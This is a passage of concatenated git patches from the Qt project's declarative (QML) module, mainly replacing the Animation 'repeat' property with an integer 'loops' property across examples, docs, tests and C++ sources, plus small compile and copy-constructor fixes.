Wed, 24 Mar 2010 17:47:09 +1000 Subject: Doc --- doc/src/declarative/javascriptblocks.qdoc | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc index 0006967..e57439f 100644 --- a/doc/src/declarative/javascriptblocks.qdoc +++ b/doc/src/declarative/javascriptblocks.qdoc @@ -138,6 +138,7 @@ these libraries, the JavaScript programmer can indicate a particular file is a stateless library through the use of a pragma, as shown in the following example. \code +// factorial.js .pragma library function factorial(a) { -- cgit v0.12 From 5ddcc726a623fea3534f76c07b6c1d2835a0e2d6 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Wed, 24 Mar 2010 17:47:17 +1000 Subject: Disallow the implicit QDeclarativeGuardedContextData copy constructor Task-number: QTBUG-9312 --- src/declarative/qml/qdeclarativecontext_p.h | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index e5f18b3..397f37a 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -213,8 +213,11 @@ public: inline operator QDeclarativeContextData*() const { return m_contextData; } inline QDeclarativeContextData* operator->() const { return m_contextData; } + inline QDeclarativeGuardedContextData &operator=(QDeclarativeContextData *d); private: + QDeclarativeGuardedContextData &operator=(const QDeclarativeGuardedContextData &); + QDeclarativeGuardedContextData(const QDeclarativeGuardedContextData &); friend class QDeclarativeContextData; inline void clear(); @@ -269,6 +272,13 @@ void QDeclarativeGuardedContextData::clear() } } +QDeclarativeGuardedContextData & +QDeclarativeGuardedContextData::operator=(QDeclarativeContextData *d) +{ + setContextData(d); + return *this; +} + QT_END_NAMESPACE #endif // QDECLARATIVECONTEXT_P_H -- cgit v0.12 From 84a14c182d7691ea919c335453771b41d8a7ed25 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 25 Mar 2010 08:21:27 +1000 Subject: Compile with qtnamespace --- src/declarative/util/qdeclarativexmllistmodel.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 03ddddf..f7beeaa 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -60,9 +60,10 @@ #include +Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult) + QT_BEGIN_NAMESPACE -Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult) typedef QPair QDeclarativeXmlListRange; -- cgit v0.12 From 668c9d63d27b2a925c18f3128747c20b37560569 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 25 Mar 2010 08:44:20 +1000 Subject: Fix compile in namespace. --- src/declarative/util/qdeclarativexmllistmodel.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp index 03ddddf..0c0b38d 100644 --- a/src/declarative/util/qdeclarativexmllistmodel.cpp +++ b/src/declarative/util/qdeclarativexmllistmodel.cpp @@ -60,10 +60,10 @@ #include -QT_BEGIN_NAMESPACE - Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult) +QT_BEGIN_NAMESPACE + typedef QPair QDeclarativeXmlListRange; /*! -- cgit v0.12 From 13d9f49577dd5be8c01792b6d7709c2e9b28aa95 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 25 Mar 2010 10:09:17 +1000 Subject: Replace Animation's repeat property with loops. You can now loop a fixed number of times as well as forever. The old repeat behavior (loop forever) can be acheived with loops: Qt.Infinite. --- demos/declarative/flickr/common/Loading.qml | 4 +- .../photoviewer/PhotoViewerCore/BusyIndicator.qml | 2 +- demos/declarative/twitter/TwitterCore/Loading.qml | 4 +- doc/src/declarative/animation.qdoc | 2 +- .../declarative/animations/color-animation.qml | 10 ++--- .../declarative/animations/property-animation.qml | 2 +- .../border-image/content/MyBorderImage.qml | 4 +- examples/declarative/effects/effects.qml | 4 +- examples/declarative/fillmode/fillmode.qml | 2 +- examples/declarative/fonts/banner.qml | 2 +- examples/declarative/fonts/hello.qml | 4 +- .../listview/content/ClickAutoRepeating.qml | 2 +- examples/declarative/parallax/qml/Smiley.qml | 2 +- examples/declarative/progressbar/progressbars.qml | 6 +-- examples/declarative/tvtennis/tvtennis.qml | 2 +- .../declarative/webview/content/SpinSquare.qml | 2 +- src/declarative/QmlChanges.txt | 1 + src/declarative/qml/qdeclarativedom.cpp | 6 +-- src/declarative/qml/qdeclarativeengine.cpp | 2 + src/declarative/util/qdeclarativeanimation.cpp | 52 +++++++++++++--------- src/declarative/util/qdeclarativeanimation_p.h | 9 ++-- src/declarative/util/qdeclarativeanimation_p_p.h | 8 ++-- src/declarative/util/qdeclarativespringfollow.cpp | 6 +-- .../qdeclarativeanimations/data/dontAutoStart.qml | 2 +- .../tst_qdeclarativeanimations.cpp | 4 +- .../declarative/visual/animation/loop/loop.qml | 2 +- .../animation/pauseAnimation/pauseAnimation.qml | 2 +- .../content/MyBorderImage.qml | 4 +- .../visual/qdeclarativeeasefollow/easefollow.qml | 2 +- .../visual/qdeclarativespringfollow/follow.qml | 2 +- .../visual/qdeclarativetext/elide/elide2.qml | 2 +- .../visual/qdeclarativetext/elide/multilength.qml | 2 +- .../visual/qdeclarativetextedit/cursorDelegate.qml | 2 +- .../qdeclarativetextinput/cursorDelegate.qml | 2 +- .../visual/webview/zooming/renderControl.qml | 2 +- .../visual/webview/zooming/resolution.qml | 2 +- .../visual/webview/zooming/zoomTextOnly.qml | 2 +- 37 files changed, 93 insertions(+), 77 deletions(-) diff --git a/demos/declarative/flickr/common/Loading.qml b/demos/declarative/flickr/common/Loading.qml index 938a080..87a4ef9 100644 --- a/demos/declarative/flickr/common/Loading.qml +++ b/demos/declarative/flickr/common/Loading.qml @@ -1,8 +1,8 @@ import Qt 4.6 Image { - id: loading; source: "pics/loading.png"; transformOrigin: "Center" + id: loading; source: "pics/loading.png" NumberAnimation on rotation { - from: 0; to: 360; running: loading.visible == true; repeat: true; duration: 900 + from: 0; to: 360; running: loading.visible == true; loops: Qt.Infinite; duration: 900 } } diff --git a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml index 919ac43..fc83766 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml @@ -5,5 +5,5 @@ Image { property bool on: false source: "images/busy.png"; visible: container.on - NumberAnimation on rotation { running: container.on; from: 0; to: 360; repeat: true; duration: 1200 } + NumberAnimation on rotation { running: container.on; from: 0; to: 360; loops: Qt.Infinite; duration: 1200 } } diff --git a/demos/declarative/twitter/TwitterCore/Loading.qml b/demos/declarative/twitter/TwitterCore/Loading.qml index 76bf64b..e403b8d 100644 --- a/demos/declarative/twitter/TwitterCore/Loading.qml +++ b/demos/declarative/twitter/TwitterCore/Loading.qml @@ -1,8 +1,8 @@ import Qt 4.6 Image { - id: loading; source: "images/loading.png"; transformOrigin: "Center" + id: loading; source: "images/loading.png" NumberAnimation on rotation { - from: 0; to: 360; running: loading.visible == true; repeat: true; duration: 900 + from: 0; to: 360; running: loading.visible == true; loops: Qt.Infinite; duration: 900 } } diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc index 7e0a787..00993f0 100644 --- a/doc/src/declarative/animation.qdoc +++ b/doc/src/declarative/animation.qdoc @@ -72,7 +72,7 @@ Rectangle { x: 60-img.width/2 y: 0 SequentialAnimation on y { - repeat: true + loops: Qt.Infinite NumberAnimation { to: 200-img.height; easing.type: "OutBounce"; duration: 2000 } PauseAnimation { duration: 1000 } NumberAnimation { to: 0; easing.type: "OutQuad"; duration: 1000 } diff --git a/examples/declarative/animations/color-animation.qml b/examples/declarative/animations/color-animation.qml index 025134b..5d313c1 100644 --- a/examples/declarative/animations/color-animation.qml +++ b/examples/declarative/animations/color-animation.qml @@ -12,7 +12,7 @@ Item { GradientStop { position: 0.0 SequentialAnimation on color { - repeat: true + loops: Qt.Infinite ColorAnimation { from: "DeepSkyBlue"; to: "#0E1533"; duration: 5000 } ColorAnimation { from: "#0E1533"; to: "DeepSkyBlue"; duration: 5000 } } @@ -20,7 +20,7 @@ Item { GradientStop { position: 1.0 SequentialAnimation on color { - repeat: true + loops: Qt.Infinite ColorAnimation { from: "SkyBlue"; to: "#437284"; duration: 5000 } ColorAnimation { from: "#437284"; to: "SkyBlue"; duration: 5000 } } @@ -32,7 +32,7 @@ Item { Item { width: parent.width; height: 2 * parent.height transformOrigin: Item.Center - NumberAnimation on rotation { from: 0; to: 360; duration: 10000; repeat: true } + NumberAnimation on rotation { from: 0; to: 360; duration: 10000; loops: Qt.Infinite } Image { source: "images/sun.png"; y: 10; anchors.horizontalCenter: parent.horizontalCenter transformOrigin: Item.Center; rotation: -3 * parent.rotation @@ -46,7 +46,7 @@ Item { source: "images/star.png"; angleDeviation: 360; velocity: 0 velocityDeviation: 0; count: parent.width / 10; fadeInDuration: 2800 SequentialAnimation on opacity { - repeat: true + loops: Qt.Infinite NumberAnimation { from: 0; to: 1; duration: 5000 } NumberAnimation { from: 1; to: 0; duration: 5000 } } @@ -60,7 +60,7 @@ Item { GradientStop { position: 0.0 SequentialAnimation on color { - repeat: true + loops: Qt.Infinite ColorAnimation { from: "ForestGreen"; to: "#001600"; duration: 5000 } ColorAnimation { from: "#001600"; to: "ForestGreen"; duration: 5000 } } diff --git a/examples/declarative/animations/property-animation.qml b/examples/declarative/animations/property-animation.qml index 4428f34..d33b55d 100644 --- a/examples/declarative/animations/property-animation.qml +++ b/examples/declarative/animations/property-animation.qml @@ -43,7 +43,7 @@ Item { // Animate the y property. Setting repeat to true makes the // animation repeat indefinitely, otherwise it would only run once. SequentialAnimation on y { - repeat: true + loops: Qt.Infinite // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function NumberAnimation { diff --git a/examples/declarative/border-image/content/MyBorderImage.qml b/examples/declarative/border-image/content/MyBorderImage.qml index 5621e18..bd0f5fb 100644 --- a/examples/declarative/border-image/content/MyBorderImage.qml +++ b/examples/declarative/border-image/content/MyBorderImage.qml @@ -18,13 +18,13 @@ Item { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 SequentialAnimation on width { - repeat: true + loops: Qt.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } SequentialAnimation on height { - repeat: true + loops: Qt.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } } diff --git a/examples/declarative/effects/effects.qml b/examples/declarative/effects/effects.qml index 997d7de..45246a9 100644 --- a/examples/declarative/effects/effects.qml +++ b/examples/declarative/effects/effects.qml @@ -16,7 +16,7 @@ Rectangle { running: false from: 0; to: 10 duration: 1000 - repeat: true + loops: Qt.Infinite } } @@ -33,7 +33,7 @@ Rectangle { effect: DropShadow { blurRadius: 3 offset.x: 3 - NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; running: false; repeat: true; } + NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; running: false; loops: Qt.Infinite; } } MouseArea { anchors.fill: parent; onClicked: dropShadowEffect.running = !dropShadowEffect.running } diff --git a/examples/declarative/fillmode/fillmode.qml b/examples/declarative/fillmode/fillmode.qml index ab0f81c..effb964 100644 --- a/examples/declarative/fillmode/fillmode.qml +++ b/examples/declarative/fillmode/fillmode.qml @@ -5,7 +5,7 @@ Image { height: 250 source: "face.png" SequentialAnimation on fillMode { - repeat: true + loops: Qt.Infinite PropertyAction { value: Image.Stretch } PropertyAction { target: label; property: "text"; value: "Stretch" } PauseAnimation { duration: 1000 } diff --git a/examples/declarative/fonts/banner.qml b/examples/declarative/fonts/banner.qml index 7989f80..bb4fe24 100644 --- a/examples/declarative/fonts/banner.qml +++ b/examples/declarative/fonts/banner.qml @@ -10,7 +10,7 @@ Rectangle { Row { y: -screen.height / 4.5 - NumberAnimation on x { from: 0; to: -text.width; duration: 6000; repeat: true } + NumberAnimation on x { from: 0; to: -text.width; duration: 6000; loops: Qt.Infinite } Text { id: text; font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } Text { font.pixelSize: screen.pixelSize; color: screen.textColor; text: screen.text } diff --git a/examples/declarative/fonts/hello.qml b/examples/declarative/fonts/hello.qml index 334409e..f703167 100644 --- a/examples/declarative/fonts/hello.qml +++ b/examples/declarative/fonts/hello.qml @@ -10,7 +10,7 @@ Rectangle { text: "Hello world!"; font.pixelSize: 60 SequentialAnimation on font.letterSpacing { - repeat: true; + loops: Qt.Infinite; NumberAnimation { from: 100; to: 300; easing.type: "InQuad"; duration: 3000 } ScriptAction { script: { container.y = (screen.height / 4) + (Math.random() * screen.height / 2) @@ -18,7 +18,7 @@ Rectangle { } } } SequentialAnimation on opacity { - repeat: true; + loops: Qt.Infinite; NumberAnimation { from: 1; to: 0; duration: 2600 } PauseAnimation { duration: 400 } } diff --git a/examples/declarative/listview/content/ClickAutoRepeating.qml b/examples/declarative/listview/content/ClickAutoRepeating.qml index 5240e65..8ef4a52 100644 --- a/examples/declarative/listview/content/ClickAutoRepeating.qml +++ b/examples/declarative/listview/content/ClickAutoRepeating.qml @@ -18,7 +18,7 @@ Item { ScriptAction { script: page.clicked() } PauseAnimation { duration: repeatdelay } SequentialAnimation { - repeat: true + loops: Qt.Infinite ScriptAction { script: page.clicked() } PauseAnimation { duration: repeatperiod } } diff --git a/examples/declarative/parallax/qml/Smiley.qml b/examples/declarative/parallax/qml/Smiley.qml index 4442d5e..75302a3 100644 --- a/examples/declarative/parallax/qml/Smiley.qml +++ b/examples/declarative/parallax/qml/Smiley.qml @@ -25,7 +25,7 @@ Item { // Animate the y property. Setting repeat to true makes the // animation repeat indefinitely, otherwise it would only run once. SequentialAnimation on y { - repeat: true + loops: Qt.Infinite // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function NumberAnimation { diff --git a/examples/declarative/progressbar/progressbars.qml b/examples/declarative/progressbar/progressbars.qml index a66d544..ced3ccd 100644 --- a/examples/declarative/progressbar/progressbars.qml +++ b/examples/declarative/progressbar/progressbars.qml @@ -14,9 +14,9 @@ Rectangle { ProgressBar { property int r: Math.floor(Math.random() * 5000 + 1000) width: main.width - 20 - NumberAnimation on value { duration: r; from: 0; to: 100; repeat: true } - ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; repeat: true } - ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; repeat: true } + NumberAnimation on value { duration: r; from: 0; to: 100; loops: Qt.Infinite } + ColorAnimation on color { duration: r; from: "lightsteelblue"; to: "thistle"; loops: Qt.Infinite } + ColorAnimation on secondColor { duration: r; from: "steelblue"; to: "#CD96CD"; loops: Qt.Infinite } } } } diff --git a/examples/declarative/tvtennis/tvtennis.qml b/examples/declarative/tvtennis/tvtennis.qml index 6022a15..138d587 100644 --- a/examples/declarative/tvtennis/tvtennis.qml +++ b/examples/declarative/tvtennis/tvtennis.qml @@ -21,7 +21,7 @@ Rectangle { // Move the ball to the right and back to the left repeatedly SequentialAnimation on x { - repeat: true + loops: Qt.Infinite NumberAnimation { to: page.width - 40; duration: 2000 } ScriptAction { script: paddle.play() } PropertyAction { target: ball; property: "direction"; value: "left" } diff --git a/examples/declarative/webview/content/SpinSquare.qml b/examples/declarative/webview/content/SpinSquare.qml index b65a29d..b0f568f 100644 --- a/examples/declarative/webview/content/SpinSquare.qml +++ b/examples/declarative/webview/content/SpinSquare.qml @@ -18,7 +18,7 @@ Item { NumberAnimation on rotation { from: 0 to: 360 - repeat: true + loops: Qt.Infinite duration: root.period } } diff --git a/src/declarative/QmlChanges.txt b/src/declarative/QmlChanges.txt index fcb1228..b85cfb6 100644 --- a/src/declarative/QmlChanges.txt +++ b/src/declarative/QmlChanges.txt @@ -12,6 +12,7 @@ Using Particles now requires "import Qt.labs.particles 1.0" AnchorAnimation must now be used to animate anchor changes (and not NumberAnimation) Removed ParentAction (use ParentAnimation instead) ScriptAction: renamed stateChangeScriptName -> scriptName +Animation: replace repeat with loops (loops: Qt.Infinite gives the old repeat behavior) C++ API ------- diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index cb56ead..e374a93 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -1107,8 +1107,7 @@ Rectangle { x: NumberAnimation { from: 0 to: 100 - repeat: true - running: true + loops: Qt.Infinite } } \endqml @@ -1156,8 +1155,7 @@ Rectangle { x: NumberAnimation { from: 0 to: 100 - repeat: true - running: true + loops: Qt.Infinite } } \endqml diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index d4872e2..b4362ce 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -218,6 +218,8 @@ QDeclarativeScriptEngine::QDeclarativeScriptEngine(QDeclarativeEnginePrivate *pr // XXX When the above a done some better way, that way should also be // XXX used to add Qt.Sound class. + //for animations that loop forever + qtObject.setProperty(QLatin1String("Infinite"), -1); //types qtObject.setProperty(QLatin1String("rgba"), newFunction(QDeclarativeEnginePrivate::rgba, 4)); diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index c17012c..81ab3d3 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -190,9 +190,13 @@ void QDeclarativeAbstractAnimation::setRunning(bool r) d->running = r; if (d->running) { - if (d->alwaysRunToEnd && d->repeat + if (d->alwaysRunToEnd && d->loopCount != 1 && qtAnimation()->state() == QAbstractAnimation::Running) { - qtAnimation()->setLoopCount(-1); + //we've restarted before the final loop finished; restore proper loop count + if (d->loopCount == -1) + qtAnimation()->setLoopCount(d->loopCount); + else + qtAnimation()->setLoopCount(qtAnimation()->currentLoop() + d->loopCount); } if (!d->connectedTimeLine) { @@ -204,8 +208,8 @@ void QDeclarativeAbstractAnimation::setRunning(bool r) emit started(); } else { if (d->alwaysRunToEnd) { - if (d->repeat) - qtAnimation()->setLoopCount(qtAnimation()->currentLoop()+1); + if (d->loopCount != 1) + qtAnimation()->setLoopCount(qtAnimation()->currentLoop()+1); //finish the current loop } else qtAnimation()->stop(); @@ -300,10 +304,12 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f) } /*! - \qmlproperty bool Animation::repeat - This property holds whether the animation should repeat. + \qmlproperty int Animation::loops + This property holds the number of times the animation should play. + + By default, \c loops is 1: the animation will play through once and then stop. - If set, the animation will continuously repeat until it is explicitly + If set to Qt.Infinite, the animation will continuously repeat until it is explicitly stopped - either by setting the \c running property to false, or by calling the \c stop() method. @@ -311,28 +317,33 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f) \code Rectangle { - NumberAnimation on rotation { running: true; repeat: true; from: 0 to: 360 } + width: 100; height: 100; color: "green" + RotationAnimation on rotation { + loops: Qt.Infinite + from: 0 + to: 360 + } } \endcode */ -bool QDeclarativeAbstractAnimation::repeat() const +int QDeclarativeAbstractAnimation::loops() const { Q_D(const QDeclarativeAbstractAnimation); - return d->repeat; + return d->loopCount; } -void QDeclarativeAbstractAnimation::setRepeat(bool r) +void QDeclarativeAbstractAnimation::setLoops(int loops) { Q_D(QDeclarativeAbstractAnimation); - if (r == d->repeat) + if (loops == d->loopCount) return; - d->repeat = r; - int lc = r ? -1 : 1; - qtAnimation()->setLoopCount(lc); - emit repeatChanged(r); + d->loopCount = loops; + qtAnimation()->setLoopCount(loops); + emit loopCountChanged(loops); } + int QDeclarativeAbstractAnimation::currentTime() { return qtAnimation()->currentLoopTime(); @@ -509,8 +520,9 @@ void QDeclarativeAbstractAnimation::timelineComplete() { Q_D(QDeclarativeAbstractAnimation); setRunning(false); - if (d->alwaysRunToEnd && d->repeat) { - qtAnimation()->setLoopCount(-1); + if (d->alwaysRunToEnd && d->loopCount != 1) { + //restore the proper loopCount for the next run + qtAnimation()->setLoopCount(d->loopCount); } } @@ -1586,7 +1598,7 @@ void QDeclarativePropertyAnimationPrivate::convertVariant(QVariant &variant, int \qml Rectangle { SequentialAnimation on x { - repeat: true + loops: Qt.Infinite PropertyAnimation { to: 50 } PropertyAnimation { to: 0 } } @@ -1995,7 +2007,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop) id: theRect width: 100; height: 100 color: Qt.rgba(0,0,1) - NumberAnimation on x { to: 500; repeat: true } //animate theRect's x property + NumberAnimation on x { to: 500; loops: Qt.Infinite } //animate theRect's x property Behavior on y { NumberAnimation {} } //animate theRect's y property } \endqml diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index 33d5c35..2e5b87c 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -73,7 +73,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeAbstractAnimation : public QObject, public Q Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged) Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged) Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged) - Q_PROPERTY(bool repeat READ repeat WRITE setRepeat NOTIFY repeatChanged) + Q_PROPERTY(int loops READ loops WRITE setLoops NOTIFY loopsChanged) Q_CLASSINFO("DefaultMethod", "start()") public: @@ -86,8 +86,9 @@ public: void setPaused(bool); bool alwaysRunToEnd() const; void setAlwaysRunToEnd(bool); - bool repeat() const; - void setRepeat(bool); + + int loops() const; + void setLoops(int); int currentTime(); void setCurrentTime(int); @@ -106,8 +107,8 @@ Q_SIGNALS: void completed(); void runningChanged(bool); void pausedChanged(bool); - void repeatChanged(bool); void alwaysRunToEndChanged(bool); + void loopCountChanged(int); public Q_SLOTS: void restart(); diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index decd993..3908e50 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -225,19 +225,21 @@ class QDeclarativeAbstractAnimationPrivate : public QObjectPrivate Q_DECLARE_PUBLIC(QDeclarativeAbstractAnimation) public: QDeclarativeAbstractAnimationPrivate() - : running(false), paused(false), alwaysRunToEnd(false), repeat(false), + : running(false), paused(false), alwaysRunToEnd(false), connectedTimeLine(false), componentComplete(true), - avoidPropertyValueSourceStart(false), disableUserControl(false), group(0) {} + avoidPropertyValueSourceStart(false), disableUserControl(false), + loopCount(1), group(0) {} bool running:1; bool paused:1; bool alwaysRunToEnd:1; - bool repeat:1; bool connectedTimeLine:1; bool componentComplete:1; bool avoidPropertyValueSourceStart:1; bool disableUserControl:1; + int loopCount; + void commence(); QDeclarativeProperty defaultProperty; diff --git a/src/declarative/util/qdeclarativespringfollow.cpp b/src/declarative/util/qdeclarativespringfollow.cpp index 1d69dd3..ca88b24 100644 --- a/src/declarative/util/qdeclarativespringfollow.cpp +++ b/src/declarative/util/qdeclarativespringfollow.cpp @@ -224,11 +224,11 @@ void QDeclarativeSpringFollowPrivate::stop() color: "#00ff00" y: 200 // initial value SequentialAnimation on y { - running: true - repeat: true + loops: Qt.Infinite NumberAnimation { to: 200 - easing: "easeOutBounce(amplitude:100)" + easing.type: "OutBounce" + easing.amplitude: 100 duration: 2000 } PauseAnimation { duration: 1000 } diff --git a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml index 408ad87..ed43082 100644 --- a/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml +++ b/tests/auto/declarative/qdeclarativeanimations/data/dontAutoStart.qml @@ -10,7 +10,7 @@ Rectangle { width: 100; height: 100 color: Qt.rgba(1,0,0) Behavior on x { - NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; repeat: true} + NumberAnimation { id: myAnim; objectName: "MyAnim"; target: redRect; property: "y"; to: 300; loops: Qt.Infinite} } } diff --git a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp index bce7166..f018ce1 100644 --- a/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp +++ b/tests/auto/declarative/qdeclarativeanimations/tst_qdeclarativeanimations.cpp @@ -204,9 +204,9 @@ void tst_qdeclarativeanimations::alwaysRunToEnd() animation.setProperty("x"); animation.setTo(200); animation.setDuration(1000); - animation.setRepeat(true); + animation.setLoops(-1); animation.setAlwaysRunToEnd(true); - QVERIFY(animation.repeat() == true); + QVERIFY(animation.loops() == -1); QVERIFY(animation.alwaysRunToEnd() == true); animation.start(); QTest::qWait(1500); diff --git a/tests/auto/declarative/visual/animation/loop/loop.qml b/tests/auto/declarative/visual/animation/loop/loop.qml index f6049ae..36f3ece 100644 --- a/tests/auto/declarative/visual/animation/loop/loop.qml +++ b/tests/auto/declarative/visual/animation/loop/loop.qml @@ -14,7 +14,7 @@ Rectangle { back to 100, jumps to 200, and so on. */ x: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { to: 100; duration: 1000 } NumberAnimation { from: 200; to: 400; duration: 1000 } } diff --git a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml index 24ca76b..0429171 100644 --- a/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml +++ b/tests/auto/declarative/visual/animation/pauseAnimation/pauseAnimation.qml @@ -11,7 +11,7 @@ Rectangle { x: 60-width/2 y: 200-height y: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { to: 0; duration: 500 easing.type: "InOutQuad" diff --git a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml index e268ce7..2beb1dd 100644 --- a/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml +++ b/tests/auto/declarative/visual/qdeclarativeborderimage/content/MyBorderImage.qml @@ -19,13 +19,13 @@ Item { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 width: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } height: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } } diff --git a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml index bd3270f..c9e65fe 100644 --- a/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml +++ b/tests/auto/declarative/visual/qdeclarativeeasefollow/easefollow.qml @@ -7,7 +7,7 @@ Rectangle { id: rect width: 50; height: 20; y: 30; color: "black" x: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: 50; to: 700; duration: 2000 } NumberAnimation { from: 700; to: 50; duration: 2000 } } diff --git a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml index 62503e4..4809a9c 100644 --- a/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml +++ b/tests/auto/declarative/visual/qdeclarativespringfollow/follow.qml @@ -8,7 +8,7 @@ Rectangle { color: "#00ff00" y: 200; width: 60; height: 20 y: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { to: 20; duration: 500 easing.type: "InOutQuad" diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml index c163e05..7b1042b 100644 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml +++ b/tests/auto/declarative/visual/qdeclarativetext/elide/elide2.qml @@ -5,7 +5,7 @@ Rectangle { height: 100 Text { - width: NumberAnimation { from: 500; to: 0; repeat: true; duration: 5000 } + width: NumberAnimation { from: 500; to: 0; loops: Qt.Infinite; duration: 5000 } elide: Text.ElideRight text: 'Here is some very long text that we should truncate when sizing window' } diff --git a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml index ca41eab..21763b2 100644 --- a/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml +++ b/tests/auto/declarative/visual/qdeclarativetext/elide/multilength.qml @@ -11,7 +11,7 @@ Rectangle { anchors.centerIn: parent Text { id: myText - width: NumberAnimation { from: 500; to: 0; repeat: true; duration: 1000 } + width: NumberAnimation { 